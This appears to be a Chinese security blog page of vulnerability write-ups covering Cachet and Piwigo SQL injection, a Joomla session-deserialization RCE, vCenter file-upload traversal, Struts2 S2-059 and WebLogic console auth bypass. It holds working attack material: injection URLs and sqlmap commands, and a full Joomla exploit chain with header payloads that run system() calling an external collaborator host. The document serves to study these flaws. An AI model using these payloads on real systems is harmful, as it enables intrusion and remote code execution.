我吃你家米了 - 代码审计

cachet-2.3.18前台SQL注入

2021-09-07T00:00:00+02:00

references:

环境搭建

cachet-2.3.18下载地址

用我的php破轮子搭建好环境，php版本使用php7.1，太高太低都不行

解压cachet，进入目录，执行composer install，安装依赖

然后将.env.example复制为.env文件

配置好数据库密码之后，执行php artisan app:install进行程序的安装和数据库数据迁移

然后给cachet数据库的components表加一行测试数据

漏洞分析

Cachet-2.3.18\app\Http\Routes\ApiRoutes.php

该文件声明了cache的api路由，第33行到49行，这些路由均使用中间件auth.api

这里顺便介绍一下laravel的中间件，简单来说就是介于用户的http请求和代码逻辑之间的一层处理代码，用于鉴权等操作

其中auth.api中间件接受一个bool类型的参数，默认为false，即不进行身份认证

漏洞入口在components，也就是ComponentController控制器的getComponents方法

Cachet-2.3.18\app\Http\Controllers\Api\ComponentController.php

第40行的search方法定义位于Cachet-2.3.18\app\Models\Traits\SearchableTrait.php的scopeSearch方法

该方法中有一个检查：

array_intersect(array_keys($search), $this->searchable)

如果我们传递过来的参数$search数组中的key形成的数组和$this->searchable没有交集，那么SQL查询就不会产生

$this->searchable的值为：

protected $searchable = [
    'id',
    'component_id',
    'name',
    'status',
    'visible',
];

那么只要我们查询的时候，参数名为上面中的任何一个就可以继续查询

根据路由，我们可以构造出如下查询

http://cachet.fucker:809/api/v1/components?name=1

查询可以正常进行

我们在Cachet-2.3.18\app\Models\Traits\SearchableTrait.php的第41行下断点，然后一路跟进到Cachet-2.3.18\vendor\laravel\framework\src\Illuminate\Database\Query\Builder.php的addArrayOfWheres方法：

protected function addArrayOfWheres($column, $boolean, $method = 'where')
{
    return $this->whereNested(function ($query) use ($column, $method) {
        foreach ($column as $key => $value) {
            //如果键是一个数字，且值是一个数组，那么就把数组当作参数，调用$query->where方法
            //如果$value有四个元素（id、=、1、and），依次是字段名、操作符、操作值、条件连接符
            //形如and id=1
            if (is_numeric($key) && is_array($value)) {
                call_user_func_array([$query, $method], $value);
            } else {
                $query->$method($key, '=', $value);
            }
        }
    }, $boolean);
}

因此我们可以构造出如下请求

http://cachet.fucker:809/api/v1/components?name=1&1[0]=a&1[1]==&1[2]=1&1[3]=motherfucker

可以看到，我们的motherfucker进入了预编译的查询语句

biaojigaoliang1laravel并未对条件连接符进行防注入处理，我们的字符可以直接注入进去biaojigaoliang2

进一步构造

http://cachet.fucker:809/api/v1/components?name=1&1[0]=a&1[1]==&1[2]=1&1[3]=) or 1=1%23

正常来讲，我们这时候应该已经能够查询出来数据了，但是查询结果仍然是空的

这里困扰了我挺久的，而且在debug的过程中，一直我也没看到?被替换的SQL语句，只能看到预编译语句（带?）

后来干脆用wireshark抓了一下包

可以看到，客户端只发送了Request Prepare Statement数据包，然后就直接发送了Request Close Statement包

正常情况下，中间还会发送一个Request Execute Statement包，说明我的SQL语句根本就没执行

后来了解了一下MySQL的预处理机制，就是说数据查询是分两步，第一步是先提交预处理语句给服务器，待替换参数使用?标记，然后后续的查询，只需要提交对应的参数即可，如下所示：

mysql>  PREPARE stmt1 FROM 'select count(*) as aggregate from `components` where `enabled` = ? and (`name` = ? ) or 1=1# `a` = ?) and `components`.`deleted_at` is null';
Query OK, 0 rows affected
Statement prepared

mysql> SET @a = true;
Query OK, 0 rows affected

mysql> SET @b = 1;
Query OK, 0 rows affected

mysql> sET @c = 2;
Query OK, 0 rows affected

mysql> EXECUTE stmt1 USING @a, @b, @c;
1210 - Incorrect arguments to EXECUTE
mysql> EXECUTE stmt1 USING @a, @b;
+-----------+
| aggregate |
+-----------+
|         1 |
+-----------+
1 row in set

biaojigaoliang1我将我没有查询出来数据的语句进行预处理，然后定义3个变量，并使用这3个变量执行了预处理语句，直接报错，提示参数数量错误，后面改成2个，就可以正常查询了biaojigaoliang2

biaojigaoliang1这说明了laravel在发送Request Execute Statement数据包之前，已经自己进行了校验，但是具体代码我并没有找到biaojigaoliang2

因此现在我们只需要按照如下方式进行请求的构造即可：

http://cachet.fucker:809/api/v1/components?name=1000000&1[0]=a&1[1]==&1[2]=1000000&1[3]= and name=?) or 1=1%23

成功查询出来数据

然后将1=1改成1=2

未查询出数据，SQL盲注存在

biaojigaoliang1这里由于是存在两个SQL查询语句，且两个语句的列数不一致，因此无法构造union注入，不管怎么写，两条语句都至少会有一条报列数不相等的错误，无法同时满足biaojigaoliang2

sqlmap跑一下

python2.7 sqlmap.py -u "http://cachet.fucker:809/api/v1/components?name=1000000&1[0]=a&1[1]==&1[2]=1000000&1[3]= and name=?) *%23" --technique=B --level=5

跑了两次，分别跑出了时间盲注和布尔盲注

可以跑出数据

总结

这个洞吧，我感觉应该是laravel框架的洞，如果不是他没有对参数进行过滤，这个注入也不会出现

不足之处XDM多指点

Joomla! CMS 3.0~3.4.6 RCE

2021-07-08T00:00:00+02:00

参考链接：

概述

这个漏洞是由于Joomla在处理session数据的部分引起的

关键代码就在session handler的read和write方法处：

\libraries\joomla\session\storage\database.php第46和71行

$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

biaojigaoliang1由Joomla处理而产生的\0只会占一个字节，因为它原来是空字节和*字符，所以在序列化的数据中s:3:\0\0\0是正常的，但是如果我们手动注入了\0\0\0字符，那么序列化的数据就是s:6:\0\0\0，但是read方法会把\0\0\0替换为Null*Null，替换之后只占3个字节，多出来的这3字节就给了我们可乘之机，，对象注入就是从这里产生的biaojigaoliang2

分析

下面的内容实际上是对网上exp的分析，biaojigaoliang1不同的是网上公开的exp使用的是序列化数据中的username和password字段，但是这个不具有普遍性，因为它需要能够访问index.php/components/user.php，并不是所有的网站都会处理这个请求，在下面的分析中，我选择通过user-agent和x-forwaard-for这两个http头进行漏洞利用biaojigaoliang2

因为只要两个字段是连续的即可，前一个字段用于撑大空间，后一个字段用于注入对象，因此除了username和password字段，x-forwarded-for和user-agent字段也是可以实现的

预备知识

这是一段正常的Joomla session数据：

__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1625763909;s:18:"session.timer.last";i:1625763909;s:17:"session.timer.now";i:1625763909;s:22:"session.client.browser";s:131:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"56bb4f43d168909f6df0e1a50fd84b17";}

这里需要注意的是，php序列化session用的方法和serialize方法是不完全一样的，它的一般格式为：

key|serialize data

biaojigaoliang1除了前面的键和|，后面的序列化数据和serialize函数产生的序列化数据是一致的biaojigaoliang2

对于对象的序列化，不同的权限修饰符下的成员变量序列化之后的数据也是有差异的：

<?php
class TestClass {
    PermissionDecorator $testMember;
    public function __construct($t)
    {
        $this->testMember = $t;
    }
}
$data = new TestClass("fuckyou");

public：

"O:9:"TestClass":1:{s:10:"testMember";s:7:"fuckyou";}"

protected：

"O:9:"TestClass":1:{s:13:"\x00*\x00testMember";s:7:"fuckyou";}"

private：

"O:9:"TestClass":1:{s:21:"\x00TestClass\x00testMember";s:7:"fuckyou";}"

准备对象构造

我们先来看一下正常的user-agent和x-forwarded-for序列化之后的样子

__default|a:9:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1625766121;s:18:"session.timer.last";i:1625766121;s:17:"session.timer.now";i:1625766121;s:24:"session.client.forwarded";s:23:"normal_x_for_warded_for";s:22:"session.client.browser";s:17:"normal_user_agent";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"633f966f72f7287671a24606baed1113";}

s:24:"session.client.forwarded";s:23:"normal_x_for_warded_for";s:22:"session.client.browser";s:17:"normal_user_agent";

如果把上面的normal_user_agent替换成normal_user_agent";SerializedObject，那么我们就有可能完成对象的注入，唯一的问题是前面有一个s:17限制我们的长度，导致session反序列化失败，无法完成对象注入

结合前面的\0\0\0替换漏洞，我们可以往ormal_x_for_warded_for中添加若干组\0\0\0来扩大s:23中的23，以囊括

session.client.forwarded";s:23:"normal_x_for_warded_for";s:22:"session.client.browser";s:17:"normal_user_agent

其实就是一个简单的方程式：

6x + 23 = 3x + 55 + 23  ==> 3x = 55

23是normal_x_for_warded_for的长度，55是";s:22:"session.client.browser";s:17:"normal_user_agent的长度

除不尽，只需要往normal_user_agent再加2个字符即可；

3x = 57  ==>  x=19

这是构造完的http请求对应的session数据

hj__default|a:9:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1625767987;s:18:"session.timer.last";i:1625767987;s:17:"session.timer.now";i:1625767987;s:24:"session.client.forwarded";s:137:"normal_x_for_warded_for\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:22:"session.client.browser";s:33:"normal_user_agent12";ObjectInject";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"b4131b29f0fae45b8d98576b25ceb35a";}

Joomla在read session数据时，将\0\0\0替换成Null*Null，也就是将6字节缩短为3字节，那么上面数据中的137也就缩短为80了，加上后面的

";s:22:"session.client.browser";s:33:"normal_user_agent12

biaojigaoliang1长度为57，正好是137，这样我们注入的对象就逃逸出来了biaojigaoliang2

构造对象序列化字符串

选择libraries\joomla\database\driver\mysqli.php作为反序列化对象，因为它的析构函数中调用了disconnect方法，而该方法中调用了call_user_func_array方法，而且第一个参数是可控的：$this->disconnectHandlers

call_user_func_array函数的第一个参数可以是一个数组：

call_user_func_array(array(object function), args);

那么最后调用的形式为：

object.function(args);

这里我们虽然控制不了传递给方法的参数，但是我们可以控制调用的方法

我们选择使用libraries\simplepie\simplepie.php中的SimplePie对象的init方法

第1550行：

$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');

这里可以看到call_user_func方法的两个参数我们全部可以控制，进而达到RCE

简单看一下SimplePie的init方法的代码我们就可以写出下面的exp：

<?php

namespace {
    class JSimplepieFactory {

    }
}

namespace {
    class SimplePie_Sanitize {

    }
}

namespace {
    class SimplePie {
        public $sanitize;
        public $raw_data;
        public $feed_url;
        public $cache_name_function;

    }
}

namespace {
    class JDatabaseDriverMysqli {
        //我们需要伪造一个成员变量JSimplepieFactory对象，来引入SimplePie类文件
        protected $justincase;

        protected $disconnectHandlers;
        protected $connection;

        public function __construct($justincase, $disconnectHandlers, $connection) {
            $this->justincase = $justincase;
            $this->disconnectHandlers = $disconnectHandlers;
            $this->connection = $connection;
        }
    }
}

namespace {
    require __DIR__.'/vendor/autoload.php';

    $a = new \SimplePie;

    $a->sanitize = new \SimplePie_Sanitize;
    $a->raw_data = "12138";
    $a->feed_url = "print(system('ping 7muhj0w6wr91quue8h8i53pxjoped3.burpcollaborator.net'));http://144.one";
    $a->cache_name_function = "assert";

    $b = new \JDatabaseDriverMysqli(new \JSimplepieFactory, array(array($a, "init")), 1);

    dump(serialize($b));
}
?>

上面有一个值得注意的地方，就是伪造了一个在JDatabaseDriverMysqli类定义中根本不存在的成员变量$justincase，并将其值设置为一个JSimplepieFactory对象，这是因为我们使用的SimplePie类并不在Joomla的类查找路径中，也没有被自动加载到应用中，它是由libraries\legacy\simplepie\factory.php引入的

第12行：

jimport('simplepie.simplepie');

我们通过伪造这个成员变量，让php初始化JSimplepieFactory类，进而达到引入SimplePie类的目的

上面的exp生成的序列化字符串如下：

O:21:"JDatabaseDriverMysqli":3:{s:13:"\x00*\x00justincase";O:17:"JSimplepieFactory":0:{}s:21:"\x00*\x00disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":4:{s:8:"sanitize";O:18:"SimplePie_Sanitize":0:{}s:8:"raw_data";s:5:"12138";s:8:"feed_url";s:88:"print(system('ping 7muhj0w6wr91quue8h8i53pxjoped3.burpcollaborator.net'));http://144.one";s:19:"cache_name_function";s:6:"assert";}i:1;s:4:"init";}}s:13:"\x00*\x00connection";i:1;}

漏洞利用

根据前面的分析，我们可以构造出如下payload：

x-forwarded-for：

normal_x_for_warded_for\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0

user-agent：

normal_user_agent1";s:3:"key";O:21:"JDatabaseDriverMysqli":3:{s:13:"\0\0\0justincase";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":4:{s:8:"sanitize";O:18:"SimplePie_Sanitize":0:{}s:8:"raw_data";s:5:"12138";s:8:"feed_url";s:88:"print(system('ping 7muhj0w6wr91quue8h8i53pxjoped3.burpcollaborator.net'));http://144.one";s:19:"cache_name_function";s:6:"assert";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:4:"key1";s:6:"value1";s:4:"key2";s:6:"value2";s:4:"key3";s:888:

注意上面的normal_user_agent1，这里我又把2去掉了，是因为由于payload变长，之前的长度由两位数变成了三位数

session_decode方法可以正常解析我们构造的session数据

我们只需要使用第一次请求返回的cookie再次发送请求即可完成命令执行

后记

上面只能一次次地发起请求来进行命令执行，有一种更加方便的方式，就是直接将后门写入Joomla应用的根目录下的configuration.php文件中

这个文件是最理想的文件，它和index.php位于同一个目录，而且文件结尾没有?>，我们可以通过file_put_contents方法将内容写入到该文件中

相比上面的exp，唯一需要变动的就是要让session_decode失败，从而将调用栈落回到index.php上

如果可以正常进行session_decode，那么调用栈的最低层会变成libraries\joomla\database\driver\mysqli.php，会出现找不到configuration.php文件的问题

写入后门版exp链接

不足之处，欢迎指正

Piwigo 2.7.1 SQLI学习

2021-06-22T00:00:00+02:00

前言

本文没有什么技术含量，就是自己的代码审计学习笔记

准备

代码下载链接：

https://gitee.com/wochinijiamile/smartya/raw/master/piwigo-2.7.1.zip

php版本不能太高，这里用的是php5.4.45，xdm可以直接下载，使用的时候注意修改一下配置文件中的dll文件路径，另外下面两个扩展要打开

extension=php_gd2.dll
extension=php_mysql.dll

mysql自不用多说，肯定也是要有的

进入piwigo目录，启动web应用：

php5.4.45 -S 10.0.2.15:12345

分析代码

这个注入漏洞的成因就是in_array的强制类型转换

第一个参数会被强制转换为符合第二个参数（数组）中元素类型的数据类型

具体位置在piwigo-2.7.1\piwigo\include\functions_rate.inc.php的42行

方法rate_picture是在piwigo-2.7.1\piwigo\picture.php的第344行调用的

向上回溯并进行调试，可以发现要想触发漏洞，需要两个前置条件（通过调试picture.php中的代码可以得出）：

要有用户权限
至少要上传一张照片到相册中

然后在用户界面中一顿捣鼓（其实也没几个可以点的地方），发现下面这个地方会提交请求到piwigo-2.7.1\piwigo\picture.php

就是这个幻灯片放映这里，通过复制链接地址即可获得需要的参数:

picture.php?/1/category/1&slideshow=

通过调试代码我们可以知道还需要一个get参数action，且值为rate，另外还需要一个post参数rate，这个参数的值就是用于构造SQLI载荷的参数：

可以看到我们的'顺利进入了sql语句（虽然被转义了）

也就是说只要前面的是数字，整个变量就会被转换成后面数组元素的类型（本案例为int）

也就是12412a98r90qw8riere会被转换成12412

而且这种转换是默认的，只有你给in_array的第三个参数设置为true时，才不会进行这种强制类型转换

最后我们再给http头加上cookie，保存成文件给sqlmap跑时间盲注就行了

POST /picture.php?/1/category/1=&slideshow=&action=rate HTTP/1.1
Host: 10.0.2.15:2345
Cookie: pwg_id=kerp8jdk2pr0vbcqp1bet4ap34
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded

rate=1

sqlmap -r 1.txt -p rate -v 3 --tech=T

CVE-2021-21972（vCenter RCE）漏洞分析

2021-03-02T00:00:00+01:00

参考链接

漏洞描述

CVE-2021-21972：未经认证的文件上传导致的RCE

影响范围

VMware vCenter Server 7.0系列 < 7.0.U1c

VMware vCenter Server 6.7系列 < 6.7.U3l

VMware vCenter Server 6.5系列 < 6.5 U3n

分析

其实成因很简单，就是其中一个接口没有进行认证即可被访问到，而该接口中的其中一个方法又存在目录穿越漏洞，最终导致了任意文件上传到服务器任意路径的漏洞

存在漏洞的jar包为vropsplugin-service.jar，物理路径：

C:\ProgramData\VMware\vCenterServer\cfg\vsphere-client\vc-packages\vsphere-client-serenity\com.vmware.vrops.install-6.7.0.10000\plugins\vropsplugin-service.jar

直接解压缩并反编译其中的下面这个class文件：

vropsplugin-service\com\vmware\vropspluginui\mvc\ServicesController.class

漏洞代码片段：

@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
  public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
    logger.info("Entering uploadOvaFile api");
    int code = uploadFile.isEmpty() ? 400 : 200;
    PrintWriter wr = null;
    try {
      if (code != 200) {
        response.sendError(code, "Arguments Missing");
        return;
      } 
      wr = response.getWriter();
    } catch (IOException e) {
      e.printStackTrace();
      logger.info("upload Ova Controller Ended With Error");
    } 
    response.setStatus(code);
    String returnStatus = "SUCCESS";
    if (!uploadFile.isEmpty())
      try {
        logger.info("Downloading OVA file has been started");
        logger.info("Size of the file received  : " + uploadFile.getSize());
        InputStream inputStream = uploadFile.getInputStream();
        File dir = new File("/tmp/unicorn_ova_dir");
        if (!dir.exists()) {
          dir.mkdirs();
        } else {
          String[] entries = dir.list();
          for (String str : entries) {
            File currentFile = new File(dir.getPath(), str);
            currentFile.delete();
          } 
          logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
        } 
        TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
        TarArchiveEntry entry = in.getNextTarEntry();
        List<String> result = new ArrayList<String>();
        while (entry != null) {
          if (entry.isDirectory()) {
            entry = in.getNextTarEntry();
            continue;
          } 
          File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
          File parent = curfile.getParentFile();
          if (!parent.exists())
            parent.mkdirs(); 
          OutputStream out = new FileOutputStream(curfile);
          IOUtils.copy((InputStream)in, out);
          out.close();
          result.add(entry.getName());
          entry = in.getNextTarEntry();
        } 
        in.close();
        logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
      } catch (Exception e) {
        logger.error("Unable to upload OVA file :" + e);
        returnStatus = "FAILED";
      }  
    wr.write(returnStatus);
    wr.flush();
    wr.close();
  }

在遍历tar文件并逐个释放到/tmp/unicorn_ova_dir目录的过程中，有这么一行代码：

File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());

这个操作没有任何对entry.getName()的检查与过滤，直接将/tmp/unicorn_ova_dir和entry.getName()拼接了起来，如果我们构造出包含..\的tar文件，那么就能达到目录穿越的目的

使用evilarc.py制作目录层级为2的tar文件，就会在目录结构中包含两个目录穿越符号，正好够我们达到服务器文件系统的根路径

结语

漏洞很简单，难的是找到无需认证即可访问的接口以及存在漏洞的方法！！！

Struts2-059 RCE （CVE-2019-0230）漏洞分析

2020-12-16T00:00:00+01:00

前言

复现过程参考：Struts2-059 RCE （CVE-2019-0230）复现

首先我们确定引发漏洞的具体位置，根据apache官网的描述，未经过滤的OGNL表达式被强制二次解析，从而导致远程命令执行，比如

<s:url var="url" namespace="/employee" action="list"/><s:a id="%{skillName}" href="%{url}">List available Employees</s:a>

如果攻击者能够发送请求控制skillName的值，那么当<s>标签被渲染的时候，skillName中如果包含了未经过滤的OGNL表达式，则可能会导致命令执行

参考链接：

漏洞分析

还是用复现文章中的漏洞环境，既然漏洞出在标签渲染的部分，那么就一定需要获取标签属性的值，因此我们在getPayload方法处下断点

然后开始debug，burp发包触发断点

weblogic CVE-2020-14882~14883漏洞分析

2020-11-27T00:00:00+01:00

前言

前段时间weblogic出了RCE，复现之后想调试看看漏洞产生的原因，就有了这篇文章，另外为了能够理解这篇分析文章的内容，需要具备一些预备知识，可以参考Weblogic Portak Framework文档

参考链接：

环境准备

搭建漏洞环境

漏洞环境的搭建

另外为了远程调试weblogic，我们还需要映射其8453端口

version: '2'
services:
 weblogic:
   image: vulhub/weblogic:12.2.1.3-2018
   ports:
    - "7001:7001"
    - "8453:8453"

配置weblogic远程调试模式

容器和宿主机之间复制文件的方法：

docker cp host_path containerID:container_path
docker cp containerID:container_path host_path

使用上面的命令将docker容器中的/u01/oracle/user_projects/domains/base_domain/bin/setDomainEnv.sh文件复制到宿主机进行编辑：

注释第138行和141行，中间缩进并新增两行：

debugFlag=true
export debugFlag

如果嫌上面的操作麻烦的话，可以直接将此内容复制到setDomainEnv.sh文件中，编辑完成后，再拷贝回docker容器中

然后执行docker restart CONTAINER ID，weblogic重启之后就会在8453端口开启监听模式

进入docker容器，将/u01/oracle/wlserver目录打包（tar -zcvf /tmp/123.tar.gz /u01/oracle/wlserver），并将该目录下的所有jar文件一并拷贝至docker容器的/tmp/libs目录，find ./ -name *.jar -exec cp {} /tmp/libs/ \;，之后打包拷贝至宿主机

另外还需要把weblogic自带的JDK目录/usr/java/jdk1.8.0_151拷贝出来，拷贝方法同上

weblogic自带的JDK目录位置可以在setDomainEnv.sh文件中找到：

在IDEA中配置项目JDK和依赖库

IDEA打开上面复制出来的wlserver目录，然后配置项目的库

配置JDK

配置远程调试

直接开始调试，如果控制台输出如下信息，则说明配置成功

漏洞分析

定位漏洞产生的位置

看别人的文章，都是和oracle的官方补丁diff，找到不同的文件来定位漏洞位置，但是我下载不到官方补丁，我没有support账户，这个是要钱的

所以只能看别人的分析文章，造个轮子了

diff（当然是别人diff的╮(╯_╰)╭）之后可以定位到问题是出在wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\console.jar!\com\bea\console\handles\HandleFactory.class和wlserver\server\lib\consoleapp\webapp\WEB-INF\lib\console.jar!\com\bea\console\utils\MBeanUtilsInitSingleFileServlet.class

如果在打开jar文件的时候双击没有反应，只需右键上级目录选中Add as Library...即可

后台界面代码执行流程

既然是绕过后台认证，那我们就先看一下后台认证的整体流程

首先我们用docker container logs 01f15a45c25c | findstr password获取weblogic的后台管理密码，01f15a45c25c是我们的docker容器的CONTAINER ID

得到密码后使用weblogic用户登录：

可以看到我们后台界面实际上访问的是/console/console.portal，然后我们查看weblogic后台对应的webapp的web.xml（后台本身也算是一个webapp）

打开文件wlserver\server\lib\consoleapp\webapp\WEB-INF\web.xml

找到AppManagerServlet

定位到类weblogic.servlet.AsyncInitServlet：libs\com.oracle.weblogic.servlet.jar!\weblogic\servlet\AsyncInitServlet.class

我们先来调试一下这个类，看一下他大概做了什么事情

我们都知道像weblogic、tomcat这样的中间件，都有一个叫做servlet的东西，其实就是一个类，一般情况下servlet在web容器启动的时候初始化，或者被调用的时候初始化

我们先在AsyncInitServlet类的init方法下断点，IDEA开始调试，然后登录后台，但是并没有触发断点，据此可以判断这个servlet是在容器启动的时候初始化的，执行docker restart 01f15a45c25c重启容器，然后IDEA开启调试，这时候再去访问后台，可以看到断点被触发：

跟进之后我们可以总结出来这个类中的方法的执行流程：

init()-->initDelegate()-->createDelegate()

在方法createDelegate中有如下代码

根据web.xml中的内容：

我们可以知道最终使用Class.forName实例化了com.bea.console.utils.MBeanUtilsInitSingleFileServlet类

取消之前的断点，我们再在AsyncInitServlet类的service方法处下断点，然后开启调试，直接访问后台触发断点

这里的this.delegate其实就是刚才实例化的com.bea.console.utils.MBeanUtilsInitSingleFileServlet类，继续跟入

继续跟入父类SingleFileServlet的service方法：

再跟入SingleFileServlet的父类UIServlet的service方法

最终定位到UIServlet的doPost方法：

定位鉴权代码

因为漏洞是登录认证绕过，所以我们要找到鉴权的代码来分析漏洞成因

从调用栈中找到鉴权的代码（doSecuredExecute方法）：

权限鉴定的代码位于libs\com.oracle.weblogic.servlet.jar!\weblogic\servlet\internal\WebAppServletContext.class的doSecuredExecute方法

删除之前的断点，在该方法下断点，登陆后台触发断点：

跟进checkAccess方法，但是我这里调试的时候直接抛出了异常，而且不知道var7变量的值，毕竟是反编译过来的，有些地方确实调试不到

我们仔细看try里面的语句可以看到它调用了另一个checkAccess方法，也是这个类的，只是重载了，参数个数不同，我们这回直接在这一个checkAccess方法中下断点，然后登陆后台触发断点：

第491行，检测checkAllResources变量的值，从之前的checkAccess方法的调用语句可以知道传进来的参数值是false，所以进入getConstraint方法

这里我们注意一下constraintsMap变量的值：

这个map里的键值对和web.xml中的security-constraint节点是对应的

上图中的资源都是不需要认证即可访问到的

如果我们访问的是除上面之外的url，得到的resourceConstraint变量的unrestricted就是false

下面我们访问weblogic控制台的的图标http://127.0.0.1:7001/console/framework/skins/wlsconsole/images/OracleLogo.png来触发断点

跟入isAuthorized方法

跟入checkAccess方法

跟入checkUserPerm方法

该方法的48~60行用于检测用户是否需要重新登陆（session是否过期）

跟入hasPermission方法

这里的cons.isUnrestricted()为true保证了该方法最终返回true

构造url进入UIServlet#doPost

根据上面的路由，将请求的url改成http://192.168.60.227:7001/console/css/asd.portal，可以确保进入该if分支

只要我们的url中符合map中的任意一个url模式，就可以使得rcForAllMethods变量的unrestricted变量值为true

大家不妨自己尝试一下，如果把请求的改成其他的，比如：http://192.168.60.227:7001/console/wtf/asd.portal，就不会进入该if分支，但是我们想要进入到UIServlet#doPost就必须进入该分支，而我们又没有weblogic的后台管理密码，因此我们需要考虑一下如何构造请求的URL来同时达到进入该if分支并加载正确的servlet

进入if分之后，跟到下面这行代码，然后跟入getServletStub方法

可以看到sstub的值取决于xml中的配置，因为我们请求的url中包含*.portal这个模式，所以就交给了weblogic.servlet.AsyncInitServlet处理

因此我们现在的url：http://192.168.60.227:7001/console/css/asd.portal就可以最终到达UIServlet#doPost，同时参照web.xml文件，http://192.168.60.227:7001/console/images/123.portal

在初始化完嵌套类WebAppServletContext.ServletInvocationAction之后，跟入Throwable e = (Throwable)subject.run(action)，一路跟下去，到达AuthenticatedSubject#doAs方法，在该方法中，调用了action（初始化之后的WebAppServletContext.ServletInvocationAction对象）的run方法

这个地方在调试的时候发现无法跟入，跟前面的情况是一样的，可能也是反编译的原因，我们只有手动去找一下run方法的实现代码

我们知道action变量其实就是ServletInvocationAction对象，那就找到这个类的代码libs\com.oracle.weblogic.servlet.jar!\weblogic\servlet\internal\WebAppServletContext.class

可以看到实际的处理代码是wrapRun方法，最后在该方法中运行web.xml中对应的servlet，这里的this.stub就是weblogic.servlet.AsyncInitServlet

分析UIServlet#doPost

这部分属于WebLogic Portal Framework，相关文档：White Paper: WebLogic Portal Framework

doPost中的两个关键调用如下：

createUIContext

个人理解该方法的作用就是根据请求的内容创建weblogic后台上下文环境

